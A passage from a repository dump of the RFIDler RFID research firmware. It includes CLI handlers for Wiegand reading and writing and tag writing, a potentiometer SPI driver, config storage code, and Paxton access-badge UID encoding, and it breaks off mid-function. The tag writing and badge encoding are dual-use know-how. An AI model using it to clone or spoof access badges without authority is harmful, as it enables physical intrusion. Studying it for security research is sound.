UserMessage("%s", " 83 RD6 WIEGAND_1_IN Wiegand 1 / Clock & Data - Clock IN\r\n");
UserMessage("%s", " 68 RD8 READER-DATA Reader COIL DATA\r\n");
UserMessage("%s", " 69 RD9/_SS1 SD_CARD_SS SPI Select SD Card\r\n");
UserMessage("%s", " 70 RD10/SCK1 SD_CARD_CLK SPI Clock for SD Card\r\n");
UserMessage("%s", " 71 RD11 LED7 Error LED Red\r\n");
UserMessage("%s", " 79 RD12 CLOCK-SNIFF Clock Sniff\r\n");
UserMessage("%s", " 48 RD15 _POT_SHUTDOWN Potentiometer power control\r\n");
UserMessage("%s", " 93 RE0 LED4 Emulate LED Red\r\n");
UserMessage("%s", " 94 RE1 LED3 Clock LED Yellow\r\n");
UserMessage("%s", " 98 RE2 LED2 Comms LED White\r\n");
UserMessage("%s", " 99 RE3 LED1 USB LED Green\r\n");
UserMessage("%s", " 03 RE5 DEBUG4 Logic Analyser Debug Pin 4\r\n");
UserMessage("%s", " 04 RE6 USER_BUTTON User defined button\r\n");
UserMessage("%s", " 05 RE7 BOOTLOADER_BUTTON Bootloader select button\r\n");
UserMessage("%s", " 18 RE8 S/C RST ISO-7816 Smartcard Reset\r\n");
UserMessage("%s", " 19 RE9 READER-CLOCK-ENABLE Tri-State clock select\r\n");
UserMessage("%s", " 87 RF0 SD_CARD_DET SD Card Detect\r\n");
UserMessage("%s", " 88 RF1 SD_CARD_WP SD Card Write Protect (unused)\r\n");
UserMessage("%s", " 52 RF2 S/C RX ISO-7816 Smartcard RX\r\n");
UserMessage("%s", " 51 RF3/USBID USBID USBID\r\n");
UserMessage("%s", " 49 RF4/SDI4 SPI4 IN Potentiometer Data IN\r\n");
UserMessage("%s", " 50 RF5/SDO4 SPI4 OUT Potentiometer Data OUT\r\n");
UserMessage("%s", " 53 RF8 S/C TX ISO-7816 Smartcard TX\r\n");
UserMessage("%s", " 40 RF12/_SS4 _SPI4 SLAVE SELECT Potentiometer Select\r\n"); // potentiometer: MCP414X
UserMessage("%s", " 39 RF13/SCK4 SPI4 CLOCK Potentiometer Clock\r\n");
UserMessage("%s", " 57 RG2/D+ D+ USB D+\r\n");
UserMessage("%s", " 56 RG3/D- D- USB D-\r\n");
UserMessage("%s", " 10 RG6 LED5 Read LED Green\r\n");
UserMessage("%s", " 11 RG7/U3RX CLI UART3 RX UART CLI/API\r\n");
UserMessage("%s", " 12 RG8/U3TX CLI UART3 TX UART CLI/API\r\n");
UserMessage("%s", " 14 RG9 Emulation COIL Emulation COIL\r\n");
UserMessage("%s", " 54 VBUS VBus USB VBus\r\n");
eod();
}
if (strcmp(command, "WIEGAND-LEARN") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "Waiting for external Wiegand reader (hit any key to abort)...\r\n");
learn_wiegand(NO_TRIGGER);
eod();
}
if (strcmp(command, "WIEGAND-OUT OFF") == 0)
{
commandok= command_ack(NO_DATA);
wiegand_out_disable();
}
if (strcmp(command, "WIEGAND-OUT ON") == 0)
{
commandok= command_ack(NO_DATA);
wiegand_out_enable();
}
if (strcmp(command, "WIEGAND-READ") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "Waiting for external Wiegand reader (hit any key to abort)...\r\n");
DataBuff[0]= '\0';
if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)
learn_wiegand(NO_TRIGGER);
else
read_wiegand(NO_TRIGGER);
UserMessage("Read: %s\r\n", DataBuff);
DataBuff[0]= '\0';
DataBuffCount= 0;
eod();
}
if (strncmp(command, "WIEGAND-WRITE ", 14) == 0)
{
if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)
commandok= command_nack("Wiegand parameters not set!");
else
{
wiegand_out_enable();
if(sscanf(command + 14,"%s", local_tmp) == 1)
{
commandok= command_ack(NO_DATA);
write_wiegand(local_tmp);
}
else
commandok= command_nack("Invalid parameters!");
}
}
if (strcmp(command, "WIPE") == 0)
{
commandok= command_ack(NO_DATA);
wipeconfig();
}
if (strncmp(command, "WRITE ", 6) == 0)
{
if(sscanf(command + 6,"%u %s", &tmpint, local_tmp) == 2)
{
if(write_tag(tmpint, local_tmp, VERIFY))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", local_tmp);
eod();
}
else
commandok= command_nack("Write failed!");
}
else
commandok= command_nack("Invalid block number or no data!");
}
// show help if asked or command not recognised
if (!commandok)
{
if(strcmp(command, "HELP") == 0 || Interface == INTERFACE_CLI)
{
command_ack(DATA);
show_usage(command);
eod();
}
else
command_unknown();
}
// end of command processing
// check for config changes
if(checkconfigchanged())
ccprompt= "*";
else
ccprompt= "";
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
prompt= "RFIDler";
else
prompt= (unsigned char *) TagTypes[RFIDlerConfig.TagType];
if(Interface == INTERFACE_CLI)
{
UserMessage("%s", ccprompt);
UserMessage("%s", prompt);
UserMessage("%s", prompt_2);
}
return 0;
}
// borrowed from UBW32 source
// Restarts UBW32 with a software reset, which should launch bootloader
// without user having to press PRG button
void parse_BL_packet(void)
{
unsigned int dma_status;
unsigned int int_status;
// Kill USB so that we always re-enumerate when we hit the bootloader
USBModuleDisable();
// Set the software key
SoftwareKey = (unsigned int *)0xA0000000;
*SoftwareKey = 0x12345678;
// TEMP : For reset testing
/* The following code illustrates a software Reset */
/* perform a system unlock sequence */
mSYSTEMUnlock(int_status, dma_status);
/* set SWRST bit to arm reset */
RSWRSTSET = 1;
/* read RSWRST register to trigger reset */
volatile int* p = &RSWRST;
*p;
/* prevent any unwanted code execution until reset occurs*/
while(1);
}
/** EOF main.c *************************************************/
================================================
FILE: firmware/Pic32/RFIDler.X/src/mcp414x.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#include "mcp414x.h"
#include "spi.h"
#include "comms.h"
// send an mcp414 spi command
BYTE send_mcp414_command(BYTE command, BYTE address, unsigned int arglen, unsigned int arg, unsigned int retlen, BYTE *retdata)
{
unsigned int com, tmp1, tmp2, ret;
BYTE argbyte;
// if we're sending data we can send 10 bits - pack the top two bits into the command plus another 8 in the next byte
if(arglen)
{
com= (unsigned int) command | address;
com <<= 8;
// add 10 bits of arg
com |= (arg & MCP_DATA_MASK);
ret= sendSpiCommand16(com, MCP_OK_DATA, 0, &tmp1, retlen, &tmp2);
// this should cater for 10 bits! (?)
*retdata= (BYTE) tmp2 & 0xff;
return ret;
}
else
{
argbyte= (BYTE) arg;
return sendSpiCommand(command | address, MCP_OK_NO_DATA, arglen, &argbyte, retlen, retdata);
}
}
BYTE get_mcp414_status(BYTE *retdata)
{
unsigned int dummy= 0x00;
return send_mcp414_command(MCP_CMD_READ, MCP_ADR_STATUS, 1, dummy, 0, retdata);
}
BYTE increment_mcp414(BYTE wiper, BYTE *retdata)
{
unsigned int dummy= 0x00;
if(wiper)
wiper= MCP_ADR_WIPER1;
else
wiper= MCP_ADR_WIPER0;
return send_mcp414_command(MCP_CMD_INCREMENT, wiper, 0, dummy, 0, retdata);
}
BYTE decrement_mcp414(BYTE wiper, BYTE *retdata)
{
unsigned int dummy= 0x00;
if(wiper)
wiper= MCP_ADR_WIPER1;
else
wiper= MCP_ADR_WIPER0;
return send_mcp414_command(MCP_CMD_DECREMENT, wiper, 0, dummy, 0, retdata);
}
BYTE get_mcp414_wiper(BYTE wiper, BYTE nv, BYTE *retdata)
{
unsigned int dummy= 0x00;
if(wiper)
{
if(nv)
wiper= MCP_ADR_NV_WIPER1;
else
wiper= MCP_ADR_WIPER1;
}
else
{
if(nv)
wiper= MCP_ADR_NV_WIPER0;
else
wiper= MCP_ADR_WIPER0;
}
return send_mcp414_command(MCP_CMD_READ, wiper, 1, dummy, 0, retdata);
}
BYTE set_mcp414_wiper(BYTE wiper, BYTE nv, unsigned int value, BYTE *retdata)
{
if(wiper)
{
if(nv)
wiper= MCP_ADR_NV_WIPER1;
else
wiper= MCP_ADR_WIPER1;
}
else
{
if(nv)
wiper= MCP_ADR_NV_WIPER0;
else
wiper= MCP_ADR_WIPER0;
}
return send_mcp414_command(MCP_CMD_WRITE, wiper, 1, value, 0, retdata);
}
void show_mcp414_wipers(void)
{
BYTE tmpc;
if(!get_mcp414_wiper(0, FALSE, &tmpc))
UserMessageNum("\r\n\r\n High POT (wiper 0) value: %d", tmpc);
else
UserMessageNum("\r\nHigh POT (wiper 0) read failed! %d", tmpc);
if(!get_mcp414_wiper(1, FALSE, &tmpc))
UserMessageNum("\r\n Low POT (wiper 1) value: %d", tmpc);
else
UserMessageNum("\r\nLow POT (wiper 1) read failed! %d", tmpc);
if(!get_mcp414_wiper(0, TRUE, &tmpc))
UserMessageNum("\r\n\r\n High NV POT (wiper 0) value %d", tmpc);
else
UserMessageNum("\r\nHigh NV POT (wiper 0) read failed! %d", tmpc);
if(!get_mcp414_wiper(1, TRUE, &tmpc))
UserMessageNum("\r\n Low NV POT (wiper 1) value %d\r\n", tmpc);
else
UserMessageNum("\r\nLow NV POT (wiper 1) read failed! %d\r\n", tmpc);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/nvm.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2017 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "nvm.h"
#include "comms.h"
// save config and return TRUE if verify OK
BOOL saveconfig(void)
{
NVMProgram((void *) RFIDLER_NVM_ADDRESS, (const void *) &RFIDlerConfig, sizeof(RFIDlerConfig), (void*) TmpBuff);
NVMProgram((void *)RFIDLER_NVM_ADDRESS + sizeof(RFIDlerConfig), (const void *)&RFIDlerVTag, sizeof(RFIDlerVTag), (void*) TmpBuff);
return !checkconfigchanged();
}
// return TRUE if config is changed
BOOL checkconfigchanged(void)
{
if(memcmp(&RFIDlerConfig, (void *) RFIDLER_NVM_ADDRESS, sizeof(RFIDlerConfig)) != 0)
return TRUE;
if(memcmp(&RFIDlerVTag, (void *) RFIDLER_NVM_ADDRESS + sizeof(RFIDlerConfig), sizeof(RFIDlerVTag)) != 0)
return TRUE;
return FALSE;
}
// load config from NVM - return TRUE if loaded, FALSE if freshly initialised
BOOL loadconfig(void)
{
// load config
memcpy(&RFIDlerConfig, (void *) RFIDLER_NVM_ADDRESS, sizeof(RFIDlerConfig));
// check sentinal
if (memcmp(RFIDlerConfig.Name, "RFIDler", 7) != 0)
{
memset(&RFIDlerConfig, 0x00, sizeof(RFIDlerConfig));
memcpy(RFIDlerConfig.Name, "RFIDler", 7);
saveconfig();
hitag2_nvm_clear();
return FALSE;
}
// load VTAG
memcpy(&RFIDlerVTag, (void *) RFIDLER_NVM_ADDRESS + sizeof(RFIDlerConfig), sizeof(RFIDlerVTag));
return TRUE;
}
void wipeconfig(void)
{
unsigned long i;
for(i= RFIDLER_NVM_ADDRESS ; i < RFIDLER_NVM_ADDRESS + (unsigned long) sizeof(RFIDlerConfig); i += NVM_PAGE_SIZE)
NVMErasePage((void *) i);
}
void showconfig(void)
{
UserMessage("%s", "\r\n\r\nCurrent config:\r\n");
UserMessage("\r\n TAG Type: %s", (BYTE *) TagTypes[RFIDlerConfig.TagType]);
UserMessageNum("\r\n Frame Clock uS/100: %d", RFIDlerConfig.FrameClock);
UserMessage("\r\n Modulation: %s", (BYTE *) ModulationSchemes[RFIDlerConfig.Modulation]);
UserMessage("\r\n Manchester: %s", (BYTE *) OnOff[RFIDlerConfig.Manchester]);
UserMessage("\r\n BiPhase: %s", (BYTE *) OnOff[RFIDlerConfig.BiPhase]);
UserMessage("\r\n Invert: %s", (BYTE *) OnOff[RFIDlerConfig.Invert]);
UserMessageNum("\r\n Data Rate RF/n: %d", RFIDlerConfig.DataRate);
UserMessageNum("\r\n Data Rate Sub 0: %d", RFIDlerConfig.DataRateSub0);
UserMessageNum("\r\n Data Rate Sub 1: %d", RFIDlerConfig.DataRateSub1);
UserMessageNum("\r\n Data Bits: %d", RFIDlerConfig.DataBits);
UserMessageNum("\r\n Data Blocks: %d", RFIDlerConfig.DataBlocks);
UserMessageNum("\r\n Blocksize: %d", RFIDlerConfig.BlockSize);
UserMessageNum("\r\n Sync Bits: %d", RFIDlerConfig.SyncBits);
UserMessageNum("\r\n Sync 0: 0x%02x", RFIDlerConfig.Sync[0]);
UserMessageNum("\r\n Sync 1: 0x%02x", RFIDlerConfig.Sync[1]);
UserMessageNum("\r\n Sync 2: 0x%02x", RFIDlerConfig.Sync[2]);
UserMessageNum("\r\n Sync 3: 0x%02x", RFIDlerConfig.Sync[3]);
UserMessageNum("\r\n Pot Low: %d", RFIDlerConfig.PotLow);
UserMessageNum("\r\n Pot High: %d", RFIDlerConfig.PotHigh);
UserMessageNum("\r\n PSK Quality uS: %d", RFIDlerConfig.PSK_Quality);
UserMessageNum("\r\n Repeat: %d", RFIDlerConfig.Repeat);
UserMessageNum("\r\n Timeout uS: %d", RFIDlerConfig.Timeout);
UserMessageNum("\r\n RWD Gap FC %d", RFIDlerConfig.RWD_Gap_Period);
UserMessageNum("\r\n RWD Sleep FC: %d", RFIDlerConfig.RWD_Sleep_Period);
UserMessageNum("\r\n RWD Wake FC: %d", RFIDlerConfig.RWD_Wake_Period);
UserMessageNum("\r\n RWD Zero FC: %d", RFIDlerConfig.RWD_Zero_Period);
UserMessageNum("\r\n RWD One FC: %d", RFIDlerConfig.RWD_One_Period);
UserMessageNum("\r\n RWD Wait RX->TX FC: %d", RFIDlerConfig.RWD_Wait_Switch_RX_TX);
UserMessageNum("\r\n RWD Wait TX->RX FC: %d", RFIDlerConfig.RWD_Wait_Switch_TX_RX);
UserMessageNum("\r\n Wiegand Pulse uS: %d", RFIDlerConfig.Wiegand_Pulse);
UserMessageNum("\r\n Wiegand Gap uS: %d", RFIDlerConfig.Wiegand_Gap);
UserMessage("\r\n Wiegand IdleState: %s\r\n", (BYTE *) HighLow[RFIDlerConfig.Wiegand_IdleState]);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/paxton.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "ask.h"
#include "rfidler.h"
#include "paxton.h"
#include "em.h"
#include "util.h"
// support routines for Paxton tags
// thanks to the proxmark3 project for figuring this out!
BOOL paxton_get_uid(BYTE *response)
{
return ask_raw_get_uid(response);
}
BOOL paxton_hex_to_uid(BYTE *response, BYTE *hex)
{
BYTE tmp[40];
if(em4x02_hex_to_uid(response, hex))
return paxton_hex_to_hex(response, response);
return FALSE;
}
// convert null-terminated hex UID (10 digits) to em4x02 encoded hex
BOOL hex_to_paxton_hex(unsigned char *paxton, unsigned char *hex)
{
if(hex_to_paxton_bin(paxton, hex))
return binarraytohex(paxton, paxton, 64);
else
return FALSE;
}
// convert 64 bit em4x02 encoded hex to paxton 8 hex digit 32 bit UID
// this is the same as em4x02 but discard 2nd byte and add magic number
BOOL paxton_hex_to_hex(unsigned char *hex, unsigned char *paxton)
{
unsigned long out;
unsigned char tmp[8];
// copy first 2 hex digits
memcpy(tmp, paxton, 2);
// copy last 6 hex digits
memcpy(&tmp[2], &paxton[4], 6);
out= hextoulong(tmp);
out += 0x143e00UL; // add magic number
ulongtohex(hex, out);
hex[8]= 0x00;
return TRUE;
}
// convert null-terminated hex UID (8 digits) to paxton encoded 64 bit binary array
// which is the same as EM4X02 but with source hex arranged in a different order
// and we are missing the 2nd BYTE value which is assumed to be 00 (or may be ignored?)
BOOL hex_to_paxton_bin(unsigned char *paxton, unsigned char *hex)
{
unsigned char tmp1[8], tmp2[40], tmp3[11];
unsigned long id;
if(strlen(hex) > 8)
return FALSE;
// pad to 8 hex digits
memset(tmp1, '0', 8);
memcpy(tmp1 + 8 - strlen(hex), hex, strlen(hex));
id= hextoulong(tmp1);
id -= 0x143e00UL;
memset(tmp3, '0', 10);
ulongtohex(&tmp3[2], id);
memcpy(tmp3, &tmp3[2], 2);
tmp3[2]= '0';
tmp3[3]= '0';
tmp3[10]= 0x00;
